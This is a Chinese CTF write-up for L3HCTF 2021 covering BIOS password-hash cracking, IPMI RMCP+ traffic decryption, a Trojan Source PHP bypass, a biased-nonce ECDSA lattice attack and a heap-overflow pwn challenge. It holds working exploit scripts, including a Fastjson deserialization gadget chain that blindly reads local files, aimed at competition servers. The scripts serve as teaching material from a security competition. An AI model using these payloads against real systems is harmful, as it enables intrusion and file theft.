2021-L3HCTF(我愿称其为今年国内最好CTF好伐!!!) SpecialRain-Writeup

2021-L3HCTF(我愿称其为今年国内最好CTF好伐!!!) SpecialRain-Writeup

十一月 15, 2021

Misc

BootFlag

题目给出操作视频和boot固件文件(看完视频猜的主板上的bios固件),看视频可以知道两个密码都是四位的,且题目给出了两个密码的字符范围。

那很明显了,先谷歌一下,随便翻翻,找到一个 UEFI boot 固件的解析工具:https://github.com/LongSoft/UEFITool 和 十年前泄露的 BIOS boot 固件源码 还有一个老版本boot密码破解记录:https://gist.github.com/en4rab/550880c099b5194fbbf3039e3c8ab6fd

审源码和文章都表示boot密码仅仅进行了一个简单的异或加密,而且BIOS的的密码加密后存储在AMITSESetup块下。AMITSESetupBIOS块下的AMINvramMainRomAreaGuid下的NVRAM中,记得找后面标注为data的,这个不用解释了吧嘿嘿
右键相关条目有查看详细数据和提取功能,数据在body

20211115235925

试了下工具,各种参数信息解析的都很完整,只有小部分块数据显示错误。去看了下存密码的位置发现是两串完美的目测sha256 的 32bytes 哈希值,参照源码的异或加密解不出来,而且直接爆了下sha256也不对。无奈又去搜索BIOSbootpasswordhash等关键字找到了:https://github.com/ArcadeHustle/X3_USB_softmod/issues/4

20211115180010

去issue利用到的源码仓库里看相关代码:https://github.com/raywugithub/zprj/blob/b7c51c9cf4864df6aabb99a1ae843becd577237c/EDK/MiniSetup/PasswordEncode/PasswordEncode.c#L161

发现这个版本有sha1和sha256两种hash算法模式以及老版的异或模式,别的没啥太大的差异。

这里看了下表十一点半快十二点了出门同学请客吃烧烤,三点回来后疯狂谷歌一下午外加源码审计。

其实这里直接脚本爆密码就行了。不过需要注意到MaxSize参数和Password变量的类型处理(相当于UTF-16-LE编码),MaxSize的值为 40bytes,当时脑子抽了审完源码没找到它在哪里被赋值就一直按个人代码习惯当作密码的长度理解了,然后从中午开始困顿,源码就这么点啊,逻辑就这么简单啊,就一个签到难度的代码,咋就爆不出来flag???
从十一点多困顿到晚上八点突然大悟,谁说MaxSize是密码长度了?那是用到的存储密文的最大空间大小!,浪费整个下午,哭唧唧。

a-sol

这道题就很有意思了,一开始看见sol,最近刚好在学区块链入门,以为和区块链有关。

然后发现题目是个流量包,打开看看每条流量中携带的数据都不长,搜了手IPMB协议,发现是叫智能平台管理总线,中间搜sol和协议的时候不知道咋搜到一个关键字带sol的工业机器人,应该是工业机器人吧,又转去看了下机器人。

过了会在各种搜资料的边角落里看见了外国不知名小哥的组织利用主板上的该硬件接口实施攻击的消息。于是大雾,嗷,逮住你了就是这个!

这里本来想偷懒的,看到消息历史都几年前了,想着网上应该能找到现成的工具啥的,顶多魔改下源码就出了。结果搜了半天,别说工具源码,连工具都没搜到,微软倒是拿着工具录了几个演示其危害性的视频。。。无奈大雾

含泪谷歌两三个小时被我找到了别的大佬写的RMCP+流量的解密过程记录文档!
https://github.com/beingj/hash/blob/master/RMCP%2B%20Packet%20decrypt%20and%20authcode.org
爷甚至都去这个协议的官方网站翻去了,硬是没翻出来协议的具体实现规范要求文档,泪了呜呜

剩下的就很简单了,文档里写的很详细了,而且这大佬贴出来了它RMCP+协议的规范文档中的一个表名:IPMI SPEC Table,结合他就能搜到RMCP+的详细文档了:https://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/ipmi-second-gen-interface-spec-v2-rev1-1.pdf

接下来进入照葫芦画瓢解密时间,三级头的爷爷还是很仁慈的,用的默认模式,看了下跟文章里的实例流量用的同样的设置,减少了很多对照pdf查表的时间。

临时写的IPMI.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import hmac

'''
iv = bytes.fromhex('829c999137e535bf944ad9f7fddd3a16') # IPMI Message data [:16]
c = bytes.fromhex('fab1bd3339463a9aadb3ad28b4c961bf') # IPMI Message data [16:]
authcode = bytes.fromhex('059b9351f7372d273c792285') # IPMI Message[-16:]

# 完整性算法是HMAC-SHA1-96,机密性算法是AES-CBC-128
# 完整性算法 HMAC-SHA1-96 将用于计算 authcode
# 机密性算法 AES-CBC-128 将用于解密 IPMI 负载 c
# AES-key <- K2[:16] <- SIK
# SIK = HMAC KG (Rm | Rc | RoleM | ULengthM | <UNameM>)

Rm = 'a542743a4f194630ca69a7d114adcfec' # RAKP Message 1 data [9:24]
Rc = 'eb30891303f4b3a6c0cb999e373ab240' # RAKP Message 2 data [9:24]
Rolem = '14' # RAKP Message 1 data [25]
ULengthm = '05' # RAKP Message 1 data [28]
UNamem = '61646d696e' # RAKP Message 1 data [29:44]
#KG K[UID] (user password) is “admin” in this session. admin => ASCII: 61 64 6D 69 6E => pad to 16 bytes
KG='61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00'.replace(' ','')

SIK = hmac.new(bytes.fromhex(KG),bytes.fromhex(
Rm + Rc + Rolem + ULengthm + UNamem
),'sha1')

print(SIK.hexdigest())

# K2 = HMAC SIK (const 2) ;
Const_2 = '0202020202020202020202020202020202020202'
# K2 是 HMAC 的结果,数据为“const 2”,密钥为 SIK。
K2 = hmac.new(bytes.fromhex(SIK.hexdigest()),bytes.fromhex(Const_2),'sha1')

print(K2.hexdigest())

key = bytes.fromhex(K2.hexdigest())[:16]

#IV = bytes.fromhex('4173cc04c9077684a3b3ac57f3a8d71d')
#key = bytes.fromhex('d64d9aa86d6202232ef8cbf006319b6b')
#c = bytes.fromhex('a3168b366f3d28b496d339cc2f724436')

aes = AES.new(key,AES.MODE_CBC,iv)
print(aes.decrypt(c))
'''

class IPMI_1():
def __init__(self) -> None:
self.Const_2 = bytes.fromhex('0202020202020202020202020202020202020202')

def setRm(self,data):
self.Rm = data[8:24]
def setRc(self,data):
self.Rc = data[8:24]
def setRolem(self,data):
self.Rolem = data[24:25]
def setULengthm(self,data):
self.ULengthm = data[27:28]
def setUNamem(self,data):
self.UNamem = data[28:33]
self.KG = self.UNamem + b'\x00' * 11
def getKey(self):
self.SIK = hmac.new(self.KG,self.Rm + self.Rc + self.Rolem + self.ULengthm + self.UNamem,'sha1').hexdigest()
self.K2 = hmac.new(bytes.fromhex(self.SIK),self.Const_2,'sha1').hexdigest()
key = bytes.fromhex(self.K2)[:16]
return key

和流量解密脚本,flag.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import pyshark
from IPMI import IPMI_1
from Crypto.Cipher import AES

cap = pyshark.FileCapture('3.pcapng')
ipmi = IPMI_1()
global key

for i in cap:
ipmi_session = i.ipmi_session

if 'payloadtype' in dir(ipmi_session):

# 前两个 if 初始化各个关键值
if '0x00000012' == ipmi_session.payloadtype:
data = bytes.fromhex(i.data.data)
ipmi.setRm(data)
ipmi.setULengthm(data)
ipmi.setRolem(data)
ipmi.setUNamem(data)
elif '0x00000013' == ipmi_session.payloadtype:
data = bytes.fromhex(i.data.data)
ipmi.setRc(data)
key = ipmi.getKey()

# 解密消息
elif '0x00000001' == ipmi_session.payloadtype:
data = bytes.fromhex(i.data.data)
iv = data[:16]
c = data[16:]
aes = AES.new(key,AES.MODE_CBC,iv)
m = aes.decrypt(c)
length = m[-1]
m = m[:-1-length]
try:
print(m[4:].decode())
except:
print(m[4:])
'''
for i in m:
if i > 32 and i < 128:
print(chr(i),end='')'''

web

cover

高冷的cop师傅前半夜看见了一个完美rce的条件调了整个前半夜,然后放弃了那个最后发现其实没办法用的rce2333

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import string
import requests
s = requests.session()
flags="76,51,72,67,84,70,123,99,111,118,51,114,95,109,101,97,110,115,95,100,105,115,99,111,118,101,114,95,52,110,100,95,107,49,108,108"
flag="L3HCTF{cov3r_means_discover_4nd_k1ll"
proxies = {
"http":"http://127.0.0.1:8080"
}
url = "http://124.71.173.23:8088"
s.post(url+"/login",data={"userName":"admin","password":"123456","email":""})
str1=string.ascii_letters+string.digits+string.punctuation
for i in range(1,30):
for j in str1:
#print(str(ord(j)))
#flags=str(j)
data="""
[{
"age":{ "abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""+flags+","+str(ord(j))+"""
]
}
]
},
"address": {
"$ref": "$[0].abc.BOM"
}
}
}]"""
#print(flags)
r = s.post(url+"/dynamic_table",data={"data":data})
if "bOMCharsetName" in r.text:
flags+=","+str(ord(j))
flag+=j
print(flags)
print(flag)
break

image server1

大小写绕过搜到flag

Easy php

1
2
3
4
5
6
7
8
 <?php
error_reporting(0);
if ("admin" == $_GET[username] &‮⁦+!!⁩⁦& "‮⁦CTF⁩⁦l3hctf" == $_GET[‮⁦L3H⁩⁦password]) { //Welcome to
include "flag.php";
echo $flag;
}
show_source(__FILE__);
?>

可以发现其中有控制字符

image-20211115172143482

将对应的字符编码并完整提交:

1
http://124.71.176.131:10001/?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf

获得flag。flag{Y0U_F0UND_CVE-2021-42574!}

Crypto

EZecdsa

正常的一个ecdsa签名,也没有存在随机数k复用的情况,但是每次的随机数k会给低8位,所以很容易能找到相关的paper,但是paper写的有点晦涩难懂,总之是个HNP问题,然后找到一个有具体实现的回答:https://crypto.stackexchange.com/questions/44644/how-does-the-biased-k-attack-on-ecdsa-work
20211115233022

利用这个格子做,我是让ST=SU=1这样当格约出来的短向量最后一个为1时,倒数第二个就是私钥d,但是呢有点毛病,这样的话有些不足,也就是说存在一定概率才能出,在本地能通之后,直接远程炼丹了。

20211115233043

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from gmpy2 import *
from hashlib import *
import string

def pow_of_work(end,sha):
s=string.ascii_letters+string.digits
for a in s:
for b in s:
for c in s:
for d in s:
ss=a+b+c+d+end
if sha256(ss.encode()).hexdigest()==sha:
return a+b+c+d

q=0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
from pwn import *
f=False
while True:
p=remote('121.36.197.254',9999)
context.log_level='debug'
p.recvuntil('XXXX+')
end=p.recv(16).decode()
p.recvuntil(' == ')
sha=p.recvuntil('\n')[:-1].decode()
p.recvuntil('Give me XXXX:')
xxxx=pow_of_work(end,sha)
p.sendline(xxxx)
public=eval(p.recvuntil('\n')[:-1])

R,S,K,H=[[] for _ in range(4)]

for i in range(100):
p.recvuntil('Give me your message:\n')
p.sendline(str(i))

p.recvuntil('r = ')
rr=int(p.recvuntil('\n')[:-1])
R.append(rr)

p.recvuntil('s = ')
ss=int(p.recvuntil('\n')[:-1])
S.append(ss)

p.recvuntil('kp = ')
kk=int(p.recvuntil('\n')[:-1])
K.append(kk)

p.recvuntil('hash = ')
hh=int(p.recvuntil('\n')[:-1])
H.append(hh)

H=[(H[i]-S[i]*K[i])%q for i in range(len(K))]
T=[int(r*invert(pow(2,8)*s,q)%q) for (r,s) in zip(R,S)]
U=[int(-h*invert(pow(2,8)*s,q)%q) for (h,s) in zip(H,S)]
t=100
M=[[0 for i in range(t+2)] for j in range(t)]
for i in range(t):
for j in range(t):
if i==j:
M[i][j]=int(q)
k=2^256
T+=[1,0]
U+=[0,1]
M.append(T)
M.append(U)
M=matrix(M)
L=M.LLL()
for i in L:
if abs(i[-1])==1:
print(i)
x=abs(i[-2])
print('*'*100)
f=True
break
if f:
p.recvuntil('Give me dA\n')
p.sendline(str(x))
print(public)
p.recvall()
break

PWN

spn

非预期了,申请空间size没有限制,申请时size大于0x1000,两次拷贝的时候会超出 TEMPBUF2 0x1000的范围,而TEMPBUF2下面就是shell,backdoor只要满足shell不为0即可getshell,而拷贝时会对size大小的范围加密,甚至不需要发送数据,就能修改shell的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
# coding=utf-8
from pwn import *

# from z3 import *
arch = "amd64"
filename = "SPN_ENC"

ip = "124.71.194.126"
port =9999
# libc
# libc
local_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
remote_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
# ld
# local_ld=ELF("/lib64/ld-linux-x86-64.so.2")
# remote_ld=ELF("/lib64/ld-linux-x86-64.so.2")

context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1

offset = 0
# elf
elf = ELF(filename)


def b(addr):
bk = "b *$rebase" + str(addr)
gdb.attach(io, bk)
success("attach")


def add(idx,size):
io.recvuntil(b"0.exit")
io.sendline(b'1')
io.recvuntil(b"Size:")
io.sendline(str(size).encode())
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())

def edit(idx,size,payload):
io.recvuntil(b"0.exit")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())
io.recvuntil(b"Size")
io.sendline(str(size).encode())
io.recvuntil(b"Content")
sleep(0.1)
io.send(payload)
sleep(0.1)

def free(idx):
io.recvuntil(b"0.exit")
io.sendline(b'3')
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())

def show(idx):
io.recvuntil(b"0.exit")
io.sendline(b'4')
io.recvuntil(b"Index:")
io.sendline(str(idx).encode())

def backdoor():
io.recvuntil(b"0.exit")
io.sendline(b'5')

def pwn():
### ptr_addr=0x204100 shell_addr=0x2040E0
io.recvuntil(b"gift:")
shell_addr=int(io.recv(14),16)
success("shell_addr:"+hex(shell_addr))
add(0,0x1010)
add(1,0x80)
sleep(1)
edit(0,0x1010,b'a'*(1))
sleep(1)
backdoor()
# b(0x000000AD7)
return 1


if __name__ == '__main__':
global io
flag = 1
while flag >= 1:
try:
if content == 0:
io = process("./" + filename)
libc = local_libc
# ld = local_ld
# onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.23 11.3
onegadget = [0xe6c7e, 0xe6c81, 0xe6c84] # 2.31 9.2
else:
io = remote(ip, port)
libc = remote_libc
# ld = remote_ld
# onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.23 11.3
onegadget = [0xe6c7e, 0xe6c81, 0xe6c84] # 2.31 9.2
if (pwn() == 0):
flag -= 1
continue
else:
io.interactive()
flag = 0
except Exception as e:
print(e)
io.close()
flag -= 1
continue
隐藏